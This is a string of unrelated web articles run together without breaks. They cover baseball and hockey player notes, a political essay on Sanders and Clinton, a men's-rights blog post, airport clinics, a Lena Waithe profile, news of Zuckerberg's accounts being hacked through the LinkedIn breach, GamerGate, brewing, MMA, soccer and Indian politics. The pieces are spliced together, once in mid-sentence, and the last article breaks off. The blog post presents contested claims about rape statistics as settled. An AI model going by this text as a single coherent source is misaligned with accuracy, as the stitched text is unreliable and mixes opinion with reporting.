Los Angeles Angels:.940 OPS Take everything written about Machado, amplify it a little bit, sprinkle in a couple of MVP awards, and look to the outfield instead of the hot corner. That’s where you’ll find Trout, undeniably the best player in all of baseball right now. Luckily for the Blue Jays, Trout resides out in California instead of the AL East, so they don’t have to deal with the ridiculous.940-career OPS he’s posted against their pitching as often as they would if he played in the division. 6. RHP Masahiro Tanaka, New York Yankees: 2.34 ERA The owner of a 3.12 ERA in his three MLB seasons, you knew Tanaka was going to have excellent numbers against his AL East rivals. In fact, Tanaka’s 2.34 ERA in 10 career starts versus the Jays is the second best active mark in all of baseball, behind only Matt Garza’s surprising 2.14 ERA against the Jays. 5. 1B Carlos Santana, Cleveland Indians:.942 OPS This isn’t the 1B/DH that Jays fans will be paying attention to when the Indians are on the schedule this season — that’ll be some guy trotting around with a parrot on his shoulder — but the pitching staff would be wise to bold his name. Santana’s career OPS against Toronto is a gaudy.942 on the strength of reaching base at an amazing.445 clip, far and away the best active mark off Jays’ pitching in 200 plate appearances. 4. LHP David Price, Boston Red Sox: 17-3, 2.42 ERA It may not matter much if his suddenly balky left elbow doesn’t cooperate this season, but Price has been lights out against the Jays in his career, running up the most active wins (17) and a minuscule 2.42 ERA over eight seasons. Only three active pitchers have a sub-3.00 ERA against the Jays. 3. 1B Albert Pujols, Los Angeles Angels:.340 batting average Similar to Machado and Trout, Pujols has been laying a beating on just about every team over his career, the only difference being this sure-fire Hall of Famer is already on the back nine. Pujols only arrived in the American League in 2012, but thanks to a sprinkling of Interleague at-bats, the 37-year-old has the highest active average against the Blue Jays at.340 and the sixth-best OPS at.915. 2. OF Nelson Cruz, Seattle Mariners:.946 OPS We’re starting to get into some monster OPS numbers in this area of the list, and Cruz’s.946 mark is one of the biggest, sitting just behind Los Angeles Dodgers first baseman Adrian Gonzalez’s.968 OPS for the second-best active mark against Toronto. Nellie has sunk the Jays with the longball, crushing 21 homers in 77 games to help him to a.585 slugging percentage. The 36-year-old is aging like a fine wine, too, surpassing 40 homers, overall, in each of the past three seasons. 1. 1B Chris Davis, Baltimore Orioles: 1.017 OPS As a 31-year-old who’s a decade into his major league career, the book on Davis is out. When he connects, it’s going a long way. That’s if he connects. But connecting is something Davis has done with regularity in 447-career trips to the plate against the Blue Jays, as he’s absolutely destroyed just about everything Toronto arms have thrown at him, running up a 1.017 OPS that includes 35 home runs, the most of any player. Over his career, Davis has slashed.250/.330/.499, but those numbers jump to.287/.383/.634 when he’s facing the Blue Jays. smitchell@postmedia.comBernie Sanders recently leveled a charge against Hillary Clinton: You can be a moderate. You can be a progressive. But you cannot be a moderate and a progressive. — Bernie Sanders (@BernieSanders) February 3, 2016 He repeated the charge in Thursday night's debate, and it became the pivotal point of conflict throughout the night. The charge is false. But it's good that Sanders has made it, because it helps expose a key source of misunderstanding between the Clinton and Sanders camps. It is, as my philosophy professors used to say, an "illuminating error." The two lenses through which we assess politics There are two distinct sets of criteria by which we can judge any political candidate. The first is ideological. The easiest way to think about it is: If the candidate were emperor of the universe, allowed to shape the US to his/her liking, how close would that ideal world match our ideal world? Is it built around fairness? Diversity? Free markets? Christianity? Is there universal health care? An aggressive military? A robust social safety net? Ideological assessment takes into account a mix of values and policies, but in the end it's about whether the candidate wants what we want for America. It's about, in George H.W. Bush's memorable phrase, "the vision thing." The second is practical. Given that ideal world, what's the best way to make progress toward it? This is about, among other things, the candidates' theories of change, whether explicit or implicit. It's about how they pursue their plans, the compromises they make along the way, and, above all, the results they achieve (or at least, can be reasonably expected to achieve). The two questions: What does the candidate want, and how effective will the candidate be at getting what he or she wants? Tons of political arguments confuse these two types of assessment A great deal of miscommunication in politics comes from mixing up the two sorts of assessments. It seems to me that's what Sanders is doing when he contends that you can't be a moderate and a progressive. That's just wrong. "Progressive" is an ideological term. It refers to a position on an ideological spectrum, namely to the left. A progressive's opposite is a conservative. "Moderate" is a practical term. It belongs to the second category of assessment. Broadly speaking, it refers to a candidate who focuses on consensus building and incremental progress, someone who doesn't believe the US political system is capable of sudden, lurching change, or just doesn't want that kind of change. A moderate's opposite is a radical, someone who believes rapid, revolutionary change is both possible and necessary. You can't be a centrist progressive, because "center" refers to that ideological spectrum. But you can certainly be a moderate progressive — someone who supports the ultimate goals of the left, but who believes a cautious and incremental approach is the best (or only) way to get there. The distinction matters, because it helps map out the terrain each candidate want to fight on. In a nutshell, Sanders wants the contest to be about ideology, and Clinton wants it to be about practicality. He is the champion of ideological progressivism; she is the champion of practical moderation. So when Sanders attacks Clinton over her progressivism, he is trying to pull the fight into ideology. Clinton defenders try to pull it back to practical matters, saying, no, it's not that Clinton doesn't share these big ideological goals, it's just that she realizes the only way to get there is through modest steps built upon existing programs. Pushing too much change too fast is dangerous (one of many lessons Clinton took from her 1993 health care debacle). That was the dynamic behind the recent health care contretemps, in which Clinton argued for incremental progress based on Obamacare and Sanders partisans interpreted her as being against universal health care. It was behind the Wall Street contretemps, in which Clinton argued for incremental progress based on Dodd-Frank and Sanders partisans interpreted her as being against reining in Wall Street. Similarly, Sanders proponents are quick to shift the discussion away from practical questions. All that's been said in support of Sanders's ambitious legislative plans is that there will be a "political revolution," which presumably involves either historic turnout, a historic shift of working-class white Republicans into the Democratic camp, or both. Few supporting details have been offered. It all came to a head in Thursday night's debate, which finally brought the question to the surface. Sanders challenged Clinton ideologically, questioning her progressive bona fides, and Clinton challenged Sanders practically, questioning his "unachievable revolution." On banks, on health care, on the death penalty, over and over the same difference was re-inscribed. It was a meaningful debate (the first of the cycle, really). Ships passing in the night... and opening fire on one another Would that the online debates inspired by the candidates were as substantive and meaningful. Instead, the two camps seem to be moving closer to open warfare, at least in the hothouse environs of social media. Sanders fans interpret every compromise, every note of caution, every incrementalist policy in Clinton's long record as a rejection of progressive ideology. Her refusal to echo Sanders's grand promises is interpreted as a rejection of his goals. The idea that Clinton and her supporters might believe equally in the values of the left but differ on strategy is rejected out of hand. There is zero presumption of good faith. Meanwhile, Clinton fans are constantly lecturing Sanders supporters that they are naive, that they should abandon their ideological goals before they get a real chance to fight for them. A Democratic Party establishment that has allowed a down-ballot catastrophe over the past decade is telling them them to quiet down and let it take care of everything. Every expression of ambition is interpreted as a lack of knowledge about How Politics Really Works; again, there is zero presumption of good faith. This is frustrating on both sides. But what makes it extra frustrating for Clinton supporters — many of whom are less than fully enthusiastic to begin with — is that the battle is not entirely symmetrical. As Ezra Klein has written, it is very difficult to make an inspiring political case for practical moderation. "We probably can't achieve anything big, but I'll block Republican attempts to roll back Obama's achievements and accomplish what I can through executive actions" is not something passionate Democrats, the ones paying attention to the primary, want to hear. Voters hate hearing about what a candidate can't do. They hate hearing about process or constraints. Battle-hardened pragmatism, which is Clinton's calling card, is not always easy to get excited about, even for those who believe it is well-suited to the political moment. As Jamelle Bouie writes in a smart column this week, Sanders carved out a unique space in Vermont where he could be safely socialist for decades. (Where he needed to compromise, as on guns, he did.) Clinton has been in the muck, under heavy fire, from the day she left Arkansas. There has been no safe space for her. She has made many compromises, beginning way back with prioritizing Bill's political career. As Rebecca Traister has articulated so well, in this column and others, many of Clinton's compromises are characteristic of the difficulty women of Clinton's generation had reaching the halls of power (and staying there). Entering public life as a wife was only the beginning. Women, especially women around Clinton's age, see their own compromises and struggles in her. They know she has screwed up. They also know her ambition has been held against her in inescapably gender-inflected ways. They admire her, because she takes unending shit and just keeps going. They think that bodes well for her resilience on the campaign trail and her practical wisdom in office. But that's not always an easy argument to make, especially in the face of an online legion of excited ideological partisans eager to hang her every sin on her every supporter. I hippie punch more in sadness than in anger As a dirty hippie of long standing, my heart has always been with those who itch for revolution. My ideal America is filled with solar panels, confiscatory tax rates on the rich, and quinoa-based lunches. I have argued before in favor of activism, even aggressive, obstinate activism; on climate change alone, something like a revolution seems necessary. I have waged war on Hippie Punchers and Very Serious People — the loathers of the left and dispensers of stale Washington wisdom — my whole career. But over time, I have grown extremely skeptical, not to say cynical, about the capacity of US political institutions to deliver dramatic change. And I've witnessed the cycle of hyperbolic liberal hopes followed by melodramatic liberal despair too many times. Nobody likes hearing that they should rein in their ambitions in the name of realism, especially when reality is creeping oligarchy and militarism. Ralph Nader supporters hated hearing electability arguments. Obama supporters hated hearing that his soaring rhetoric was just an inspiring gloss on center-left technocracy all along. Single-payer supporters hated hearing that the public option had to be sacrificed to Joe Lieberman's ego. Carbon tax fans hated hearing that Henry Waxman had to give away a bunch of pollution permits to get the cap-and-trade bill through the House. Keynesian backseat drivers believe to this day that Obama's economic stimulus could have been bigger if he'd just tried harder. A bigger stimulus would have been great. So would a better, or indeed any, national carbon pricing policy. But there's always some new messiah or perfect policy just off to the left of what's possible, followed by betrayal and despair. It makes the left congenitally unable to celebrate, defend, or even acknowledge the enormous progress that has been made under Obama. No incremental advance, even insuring tens of millions of people, looks good in comparison to the counterfactual case of leftist revolution, though it never seems to arrive. Of course that's just my Hippie Puncher spin on things. Sanders supporters see it differently. They see the Democratic Party failing its constituents again and again through pathological caution and fealty to monied interests. They think for Democrats, "moderation" is a cover story for corruption. And they see a political revolution in the offing. If the revolution doesn't arrive, it's not that it was doomed to fail in a system of government deliberately constructed to resist rapid change, in a country riven by deep and sincere cultural and ideological disagreements. It's just that leaders sold out to big money. The revolution never fails, it is only failed. Here's the thing, though: The presidency is exactly the wrong place in American politics to look for a revolution. The president is constrained by layer after layer of checks and balances, veto points, entrenched interests, and institutional inertia. For a president in polarized times, progress comes not with a bludgeon but with a chisel. The reason the left's revolution hasn't arrived isn't just that money has corrupted Washington, though it undoubtedly has. It's that half the country views massive new taxes and government spending programs with horror. And they are better organized, with possession at least one house of Congress and a large majority of statehouses. Resistance is not futile, but it is painstaking.I owe a lot to Hanna Rosin. No seriously. I really do. Four months ago I couldn’t tell you who she was. I also couldn’t tell you who Warren Farrell, Paul Elam, Karen Straughan or the two dozen or so names were I’ve come to know over the last few months. But it all started with Hanna. It was Friday, January 3rd. I was killing a little time over lunch, reading over articles on The Blaze, when I came across one that sounded hilarious: “Time Magazine Presents ‘Five Reasons We Are Definitely Witnessing the End of Men’.” As someone who spends a considerable amount of time following conspiracy stories I’ve come to learn you can’t believe everything you read. But I thought the title warranted a quick look at the article. So I read it. I would find out later that The Blaze writer did a fairly good job at conveying Hanna Rosin’s sentiment when relaying Hanna’s assertions about half the human population. Hanna Rosin had made the assumption that “Men are Obsolete.” In the weeks to come I would learn exactly how correct she was–and I was mad! Initially, it wasn’t the revelation that men were on their way out that made me angry. At this point I was still convinced I was reading up on some crazy conspiracy theory. No, but I was mad at Hanna! You see it wasn’t the fact that she was making an observation and somehow conveying compassion over the subject matter. Any compassionate human would at least handle the subject with an ounce of tact. No, it was more like “Ha ha he he, men are going way of the dinosaur. Let’s uncork the champagne! Here are the FIVE assertions she makes in her original Time article: It’s the end of men because men are failing in the workplace. It’s the end of men because the traditional household, propped up by the male breadwinner, is vanishing. It’s the end of men because we can see it in the working and middle class. It’s the end of men because men have lost their monopoly on violence and aggression. It’s the end of men because men, too, are now obsessed with their body hair. She goes on to explain how boys are falling behind and not doing well at school. This is something I know too well. For years my wife, a school teacher in a bad location of Toronto, has been sharing her statistics on how boys have been progressively doing worse. So I got working. Hanna Rosin had sparked my flame. Was there any truth to what she was saying? And if so why wasn’t the mainstream media covering any of this? Surely, 60 Minutes would have covered this years ago before things started getting out of control? No. Hanna was right. She was also an asshole for having the audacity to laugh at us men while we were down. And if she could, she would kick us while we lay there–for good measure! I was convinced she was an evil woman. I later found out she had a son. How could a mom glow at such a potentially dismal future for her son??? Now, a week had gone by and as the weather furiously blasted away outside I worked away inside. I was now a confirmed Men’s Human Rights Movement Activist. I was busy reading articles on AVFM and watching a ton of videos. I had swallowed the red pill and there absolutely no way I could go back. I wasn’t sure I really wanted to go down this newly discovered path. Something told me I would become cognizant of a lot of information I didn’t particularly want to hear. I was right. The movement had opened more doors than I had wished for. Some of these doors were very painful personal insights into my own past experiences. But at least now, instead of being buried within some deep dark chamber in my subconscious mind, I was dragging it out into the open and making some therapeutic progress. And it all started with Hanna. On account of her, I now use every opportunity to talk to people about MHRM. I participate in social discussions and I also began my own blog. Recently I wrote an article on how Hanna had diminished the suffering of a mentally disabled boy by two older girls and how she showed no disdain for the girls who tortured him. Oh, I was no fan of Ms. Rosin and I had completely written her off–until I came across a more recent article. I was doing research on a newly-released paper “The Sexual Victimization of Men in America: New Data Challenge Old Assumptions.” The paper will become one of the hottest topics for MRAs in the weeks, and months to come. It essentially confirms evidence that has been presented by MRAs for years, that men are about as likely to be raped as women are and that women are quite often the primary perpetrators. And as I scoured the internet for anything related to the paper, I found an article…..by Hanna Rosin! Several things came to mind. None of them good. Before getting past the title I had already made up my mind on what was likely to unveil. Hanna had already decimated the story of the two girls torturing that poor boy. Nothing, absolutely nothing in that article, showed any compassion for the boy victim or any contempt for the girls who tortured him. Only compassion for one person: the boy’s mother. But, I couldn’t resist, and so I read Hanna’s take on the new Research Paper and, well: it was good! She didn’t hold back anything or distort the facts to suit a feminist agenda. She didn’t question the validity of the study. She didn’t minimize the reality. Her title and subtitle were spot on: When Men Are Raped A new study reveals that men are often the victims of sexual assault, and women are often the perpetrators. I agreed with every bit of it. Except perhaps for a moment at the very end where she attributes the emerging data as a consequence of feminism’s purported attempts to breakdown stereotypes. No Hanna, Men’s Rights Activists have been saying all this for many years only to be spit on and name-called by feminists, when not completely ignored. But I really didn’t care about that. I was genuinely happy because Hanna’s post reached a hell of a lot of people – most of whom are probably not associated with the men’s rights movement. Her article (at the time of this writing) has been retweeted 2K and has been posted over 25K on Facebook! Those are impressive numbers. And either directly or indirectly the numbers are going to be difficult to ignore….especially by feminists. Feminists will have to face the facts. First CDC statistics–now this study–and now even mainstream media is taking a closer look. This paper could severely throw the feminist agenda off course. With men no longer touted as the only rapists and women no longer the only victims the ramifications could have profound effects on the allocation of government funds. It is also poised to cast more doubt on an increasingly failing feminist movement. I’m not sure I’m ready yet to bury the hatchet with Hanna just yet. But, I’ll give it some time and we’ll see what else comes forth. “You will know them by their fruits.”Some airport clinics are open 24 hours a day, like those at Kennedy International Airport and Singapore Changi (which has two others that stay open until 2 a.m.). Others, like those at San Francisco International and Vancouver International, are open during business hours. Still others handle only airline employees. Many transfer patients to nearby or affiliated hospitals for treatment after diagnosis. Deborah DiSanzo, vice president and general manger for cardiac resuscitation at Philips Medical Systems, which supplies automatic defibrillators to 16 airports in the United States, says it displays them in places ''where you can run to them and back in under two minutes.'' That is because the survival rate from sudden cardiac arrest declines 10 percent every minute, to just 50 percent after five minutes, she says. At the O'Hare International, Midway and Meigs Field airports in Chicago, the lives of 11 out of 21 cardiac arrest victims were saved by passers-by using the defibrillators over a two-year period, according to a study published in The New England Journal of Medicine in 2002. The devices give voice commands to apply the pads to a person's bare chest, plug in the connectors and press the button to administer an electric shock. At the country's busiest airport clinic, Kennedy Medical Office near the American Airlines terminal at Kennedy Airport, more than 40,000 patients show up a year. They have included a smuggler who swallowed $125,000 that was contained in more than 100 plastic bags; a pilot whose blue-green color blindness
ULD be an Alberts-type, only more responsible and smarter with the puck. He was a modest cap hit and experience playing on the NHL’s biggest stage. He’s just having a difficult time cracking the Canucks depth, mostly because he would have had to clear waivers and if claimed, the Canucks would be on the hook for half his cap hit. That’s not a good fit for a team that operated so perilously close to the cap ceiling last season. It wouldn’t surprise me to see Parent traded this season as part of a big bundle to bring in that elusive power winger the Canucks need on the second line. It seems unlikely, with his one-way contract, waiver eligibility and the Canucks depth, that he’ll play more than a handful of games for the Canucks again. Hopefully, a team looking for a big young defenceman will find use for Parent and the Canucks can get trade value for him. Interesting Stat from 2010-11: Ryan Parent was tied in team scoring for the Moose with Eddie Lack, the team’s #1 goaltender. They both had 2 points. Sebastian Erixon Sebastian Erixon has been playing a man’s game in a man’s league for the past 3 years… And he’s just about to celebrate his 22nd birthday. Not bad, kid. Erixon completed his third season in the Swedish Elite League this spring and led his club, Timra, in scoring among defencemen. Not bad, kid. He’s a talented offensive defenceman who handles the puck very well and has a decent shot. Not bad, kid. His glaring drawback… is that he’s small. Very small for an NHL defenceman at only 5’7". NOT good, kid. Some sites have him listed at 5’10" but that’s quite generous. Even if he was 5’10", that’s still fairly small for an NHL defenceman. There are very few small blueliners in the NHL and it’s not a model that Gillis and the Canucks have employed. And, at almost 22, Erixon isn’t going to magically sprout up 4-6 inches in a year. Erixon has a tall order in front of him in trying to crack the Canucks roster, but his offensive abilities might make him an interesting call-up for a few games. But you have to expect that Erixon will play full time with the Wolves next year and will probably light up the AHL. Interesting Stat from 2010-11: Erixon led his Timra Red Eagles of the SEL in assists (15) and points (20) for defencemen. His 5 goals was second-best to Mattias Karlsson (6).Lena Waithe on Coming Out & Writing Master of None's Best Episode Yet With a powerful scene in the new season of Aziz Ansari's hit Netflix series, the actor and writer relives the toughest talk she ever had with her mother. Lena Waithe found the coming-out process far more liberating the second time around. For the new season of Netflix’s Master of None, in which she plays Denise, sidekick to star Aziz Ansari’s character Dev Shah, the Chicago native teamed with Ansari to co-write an episode that mirrors her own experience telling her mother she’s a lesbian. “The thing about coming out is that you never want to experience it ever again,” says the 33-year-old, sipping tea at a café near Los Angeles’s Echo Park neighborhood, where she lives with her girlfriend. “But to relive it in that way was very validating and freeing, because at the time I thought, Well, this is the end of the world, you know?” The episode, directed by famed music video director Melina Matsoukas (Beyoncé’s “Formation”), takes place on various Thanksgivings throughout Denise’s life. There’s one in 1999 when, as a teenager, she comes out to Dev as “Lebanese” because she’s too uncomfortable to use the other L-word; in another, in 2006, she’s sitting at a diner across from her mother, played by a magnetic Angela Bassett, and reveals the secret she’s been keeping from her. Her mom’s response: “I just don’t want life to be hard for you. It’s hard enough being a black woman in this world. Now you want to add something else to that?” Waithe explains that while some of the episode is fictional, much of it stems directly from her life. “I’ve made a living off of being my gay black self,” she says. “People really respond to this character, and I think that’s a triumph. My mom will see this. Her biggest worry was who’s going to know, but now that I’m a public figure, she’s cool about it.” In Waithe’s mind, minority writers have a responsibility to share their stories. “In this world, we’re often silenced,” she says. “Particularly as a black woman, you’re told to shut up and sit down. We’ve been silenced for hundreds of years. No more.” She found the collaboration process especially empowering. “It was Netflix, Aziz, and Melina, and they were all like, ‘No, bitch. Say what you gotta say. This is your moment. This is your story. We’re not gonna compromise it.’ That was unlike anything I’ve ever experienced.” The notion of giving a voice to the marginalized makes sense in the current political climate, says Matsoukas, who directed two episodes of the second season of Master of None. “We’ve never really seen a black lesbian come out on television, as far as I can remember,” she says. “That’s important. I’m a minority woman, so I relate very much to that. Coming from being educated in film and TV and being a viewer my whole life, I didn’t get many images of my people’s story. That is one of my goals as a filmmaker: to make that a more normal experience for the world to see.” Waithe has always had a similar mission, but she fought for years to gain any creative control. When she first moved to Los Angeles, she tried to establish a career as a writer, serving as an assistant on the TV show Girlfriends and the film Notorious while struggling to pay her phone bill. She finally got a gig on the Nickelodeon show How to Rock in 2012, but it took two more years for her to hit her stride. Her pilot presentation for Twenties, available on YouTube, features a lead character who speaks as candidly as Waithe does in real life. It was produced by Queen Latifah’s Flavor Unit Entertainment and optioned by BET in 2014; that same year Waithe netted a producer credit on the film Dear White People. Her very personal season-two arc on Master of None is a major stepping-stone, but it’s only the beginning. Waithe will dig even deeper into her past in the long-gestating series The Chi, which was finally ordered to series by Showtime early this year. It follows the interwoven lives of several characters living in the south side of Chicago, where Waithe grew up. Though she’s one of the stars, alongside rapper Common and Jason Mitchell (Straight Outta Compton), she’d rather be behind the scenes, making an impact on her own terms. “I really have to earn that right to call myself a writer,” Waithe says. “I earned the title producer. I’m earning the right to call myself an actor. I treat everything like it’s precious. It’s art. You’ve got to work to earn that respect.” Photography: Austin Hargrave Hair: Ananda Tuyes Makeup: Michelle Diaz Like what you see here? Subscribe and be the first to receive the latest issue of Out. Subscribe to print here and receive a complimentary digital subscription.The Stack Archive LinkedIn data breach leads to hacking of Zuckerberg’s social network accounts Mon 6 Jun 2016 Facebook founder Mark Zuckerberg has proven to be the highest-profile victim of the recent LinkedIn data breach, as his Twitter and Pinterest accounts were hacked and defaced on Sunday. Saudi Arabian hacker group OurMine has claimed responsibility for the defacements, and said that it used Zuckerberg’s login details included in the 2012 hack of 65 million LinkedIn accounts – and that the most powerful individual in the global tech scene re-used the very low-security password ‘dadada’ for both accounts. OurMine tweeted the details of the hack before its Twitter account (Wayback Machine) was suspended. ‘Hey @finkd we got access to your Twitter & Instagram & Pinterest, we are just testing your security, please dm us’ Facebook has denied additional claims that Zuckerberg’s Instagram account was also compromised during the attacks, with a spokesperson for the social network stating “No Facebook systems or accounts were accessed… The affected accounts have been re-secured.” The full extent of the LinkedIn breach was not apparent when the data was stolen in 2012, with LinkedIn later admitting that 100 million additional user/pass combos had been compromised. In the middle of last month a hacker calling themselves ‘peace’ offered up a total of 167 million login pairs for sale at 5 bitcoins (approx. $2,200)at Dark Web marketplace ‘The Real Deal’ – apparently this is the transaction that has led to the Zuckerberg breach. Since the passwords were encrypted without salting (a randomising process which obscures the encryption algorithm and makes decryption far more problematic), the entire database proved crackable in a mere three days. In February of 2015 LinkedIn agreed to pay $1.25 million to settle a class-action lawsuit from members who had been affected by the 2012 data hack – though at $50 a claimant, no-one stood to be much enriched out of the settlement. Zuckerberg’s Twitter account has been inactive since prior to the LinkedIn breach, despite over 400,000 followers, with the last post dated 18th January 2012. The re-use of such a simple password doubtless led OurMine to try it on several other accounts and systems belonging to the Facebook multi-billionaire – the ultimate peril of creating an easily memorable password without an underlying, personalised system to make it a harder prospect for crackers. However, if cloud-side storage doesn’t salt or provide adequate security in general, no amount of tips or tricks is likely to help much. Related: How to turn your terrible password into one that will take 13 nonillion years to crack – without really changing it Tags: Please enable JavaScript to view the comments powered by Disqus.#GamerGate hasn’t gotten much attention on le news de cable, making #GamerGate defender Christina Sommers’ appearance on Ronan Farrow Daily Tuesday afternoon all the more notable. Sommers argued that the movement (absolutely not summarizing it; read this) was not a misogynistic cesspool of threatened man-children but a movement calling for more accountability in gaming journalism. “I don’t think they are anti-women,” Sommers said. “They are pro-transparency. They are in favor of responsible research.” She also disputed Newsweek’s study of #GamerGate tweets this week, which found that an overwhelming number of them were negative toward women. She pointed instead to a PEW study that found men suffered more harassment online. “Like any social movement, there are idealists, careerists and thugs on both sides,” Sommers said. “I just want to bring some balance.” Farrow tried to get Sommers to admit that at least part of the movement was based on harassing women. Sommers said she was supportive of women in gaming who had received rape and death threats, but argued that gamers had received threats as well, and were only trying to protect their subculture. “There’s a subculture of gamers who particularly like abstract, formal systems,” she said. “They’re almost like chess. But they’re very engaging. They’re competitive. They require a lot of manual and mental dexterity. And they love these games. They’re a core market. And I think these gamers feel they’re under siege, attacked for what they like. And I think we should just celebrate all sorts of games, but not attack a subculture. And #GamerGate is an effort to defend a subculture that’s under siege.” Watch the clip below, via MSNBC: [Image via screengrab] —— >> Follow Evan McMurry (@evanmcmurry) on Twitter Have a tip we should know? tips@mediaite.comThe iPhone is one of the most wildly popular phones the world has ever seen, while Windows 7 is well on its way to becoming the globe's most ubiquitous OS. So compatibility between the two would be kinda sorta important, right? Tell that to Intel's quality control team who seem to have somehow missed an issue between Apple's app carrier deluxe and the P55 Express chipset's USB controller. Consistent (and persistent) syncing issues have been reported on Apple's support forums, wherein iTunes on Windows 7 machines recognizes the iPhone, but spits out an "error 0xE8000065" message whenever the user attempts to sync. While some have found limited success with using PCI-based USB cards (and bypassing the chipset), this is clearly a major issue and something Apple would expect to be fixed before shipping its Core i5 / i7 iMacs, which are likely to sport the chipset. Hit the read link for the original thread of sorrow and regret, and do chime in with your own experience in the comments.[Via The RegisterFacebook 28 Pinterest 0 Reddit 9 Twitter “This is our first one-off we’ve released. We’re brewing them regularly now and will release them in the taproom only. Our plan is to try to release one per month,” said Golden. “One-off” is the term for a beer that a brewery has made one batch of, and may never make again. Sometimes a one-off is made in smaller batches but that’s not always the case. This Friday, December 10, brewers Cat Golden and Dave Alley of Mark Twain Brewing Company in Hannibal are hosting their first One Off Scotch Ale Release Party! at 5 p.m. Scotch Ale is a strong ale that traces it’s roots back to Edinburgh. Mainly pale barley malt and moderate hopping, they can be compared to English Strong Ales or even Barley Wines. Those who get the chance to try Mark Twain’s version will enjoy intense caramel flavors; dried fruit, particularly figs and raisins. The ale is full-bodied and rich with a 10% ABV. “Dave and I have always enjoyed the rich, caramel flavors of Scotch Ales, yet we had never brewed one. This time of year is perfect for the style, so we decided to make it our first one-off. We tasted the final product as we kegged it in preparation for Friday’s event and were very pleased with the result,” said Golden. What’s next? Besides the Scotch Ale, Mark Twain is also brewing a small-batch English-Style Barleywine (one of our favorite beer styles), which they plan to release during Valentine’s Day weekend. “We’re also creating a Russian Imperial Stout which we hope will be ready in March,” said Golden. Golden and Alley are also brewing a ‘One-Off Belgian-Style Tripel for a public event called “Living Windows,” an annual event in downtown Hannibal as part of the Victorian Festival of Christmas. “We’re aiming for a late January release on that one,” said Golden. Mark Twain Brewing Company is located in Hannibal, Missouri. Set your GPS for 422 N Main St, Hannibal, 63401 or click here to map using your location.Demian Maia is no stranger to Chael Sonnen, having submitted him in just over 2:30 when they met at UFC 95. Being Brazilian also makes Maia a target in Sonnen's trademark anti-Brazil rants. So one might think that Maia would not be Sonnen's biggest fan. But in a recent article on SporTV, Maia was actually extremely complimentary when discussing Chael and their interactions (translation by Tom Mendes): We have talked a few times. I think he's very intelligent, he knows what to say. I think he sometimes pushes the envelope, but he's good in attracting the media to himself. He's a very tough fighter, and deserves to fight for the title. I have nothing against him, and it's obvious that you don't need more than two brain cells to see that he's joking. I told him that he should become a comedian. There's a lot of passion in the sport, and there are people that don't like him. He has his style, he's more conservative, different than myself. But I think Sonnen is a very intelligent guy. So I guess we can count Maia among the group that "gets it" when it comes to the Sonnen act. Sonnen faces Michael Bisping at Saturday's UFC on Fox 2 card while Maia will compete on the same card against Chris Weidman. SBN coverage of UFC on Fox 2US national team fans frustrated and disappointed with Friday night’s disjointed 2-1 win over Antigua & Barbuda may not want to hear it. But goalscorer, man of the match and all-around Yanks hero Eddie Johnson was proud and satisfied with his shorthanded team’s overall display on a stormy night a long way from home. “We came down here to get three points,” Johnson told MLSsoccer.com in a post-game phone conversation late Friday night. “We’d already talked before the game [about how] it was not going to be pretty. We had to go out there and roll up our sleeves and fight and battle tonight, and that’s what we did. And I couldn’t be happier with the team tonight.” Johnson emphasized the extent to which the evening’s rain turned central portions of the cricket ground at Sir Vivian Richards Stadium into a treacherous bog, a situation that benefitted the home side’s vertical counterattacking approach. “I know there’s got to be a lot of people saying that it wasn’t our best performance. But people fail to realize how difficult these World Cup qualifiers are, especially the away [games], when you have to play under these tough conditions,” he said. “It’s been raining here a lot and the pitches don’t hold water really well, so it was a very heavy pitch, a muddy pitch and a tight pitch. It didn’t allow us to play to our strengths and they made it difficult for us. But we grinded out the result.” PLAYER RATINGS: Who made the grade? US coach Jurgen Klinsmann had several prominent holes blown in his preferred lineup due to injuries and illness, and a low hum of pregame chatter reached a crescendo when the starting lineups showed Johnson, a striker, deployed on the left side of midfield. While the move stumped most observers, he says he actually has some flank experience and was further assisted by vocal guidance from outside backs Carlos Bocanegra and Steve Cherundolo. “You know, I’ve been fortunate in my career to play out wide a little bit,” Johnson explained. “At [English club] Preston North End I played on the wing in a 4-3-3, so I’m pretty familiar with it out wide. “But one cool thing is that coach just said, ‘Play to your strengths. I know we’re asking you to play a different role, but you’ll be fine, and you’ll do well.’ So I just tried to feed off that positivity and go out there and play the way I’m capable of playing.” The game turned in Antigua’s favor after Dexter Blackstock pegged the US back with a point-blank finish following Johnson’s 20th-minute opener. Despite dominating possession, the visitors found themselves under attack from one of the smallest countries remaining in 2014 World Cup qualifying, especially toward the close of the first half. “But I thought we still were organized, we were very disciplined when we defended,” said Johnson. “It’s a game of opportunities and they had their opportunities, but [US goalkeeper] Timmy [Howard] was all over their chances and kept it tight in the back.” Despite contributing as much hard running as anyone on the field over the full 90 minutes, Johnson still had enough in the tank to slip into open space near the back post and head Alan Gordon’s cross into the net just before the clock reached full time. It was the top highlight of a sloppy occasion, saving his team’s pride and taking a massive step toward the CONCACAF Hexagonal round, where Klinsmann and his men, should they win or tie vs. Guatemala on Tuesday, will hope to improve in several key areas. “It wasn’t one of our best performances,” said Johnson, “but good teams find a way to get a result and we did that tonight.”Union Minister Ram Shankar Katheria Friday launched a scathing attack on Mayawati calling her a “thekedar’ (contractor) of Dalit voters” who has failed to do anything for the Dalits. This comes a day after the BSP chief said that had she been in power in Uttar Pradesh, she would have sent Katheria to jail for his alleged provocative speech in Agra after a VHP leader’s murder. Advertising Addressing a press conference in Lucknow, Katheria said Dalit VHP leader Arun Mahaur was killed in broad daylight in Agra because he was a “gaubhakt”(cow-worshipper) and “poor”. He said Satendra Jatav, another Dalit, was murdered on February 12, but Mayawati remained silent on both killings. “She talks about sending me to jail but not about the killings of Dalits. People have become aware of the way in which Mayawati has become ‘thekedar’ (contractor) of Dalits for selling their votes. The Dalits in UP have become aware,” Katheria said. “Only future can tell, who will send whom to jail,” said Katheria, who is seen by many as BJP’s most prominent Dalit leader in state. He also targeted Akhilesh Yadav government alleging it of discrimination when it comes to awarding compensation for murders. “While in one case, Rs 50 lakh was given as compensation, no such money was given to Satendra Jatav’s family, and discrimination was done in Arun Mahaur’s case,” he alleged. Asked what the Centre was doing for security of Dalits, Katheria said, “We have written in this regard to the Union Home Ministry and it was taking necessary action. A letter has also been written to (Chief Minister) Akhilesh Yadav.” “The situation in the state is very bad. Incidents of murder, loot, rapes are on the rise. It has raised a question mark on UP government…people of the state want a change,” he added. Katheria, who is Minister of State for HRD and represents Agra Lok Sabha constituency, had allegedly made a controversial speech at a condolence meeting for Mahaur, who was killed by some youths from another community last week. “It is unfortunate that no one speaks on the murder and instead focused on the words. Some people had spoken wrong on that stage. I have accepted that,” he said. Advertising Samajwadi Party has demanded that Katheria be sacked, alleging that his remarks were 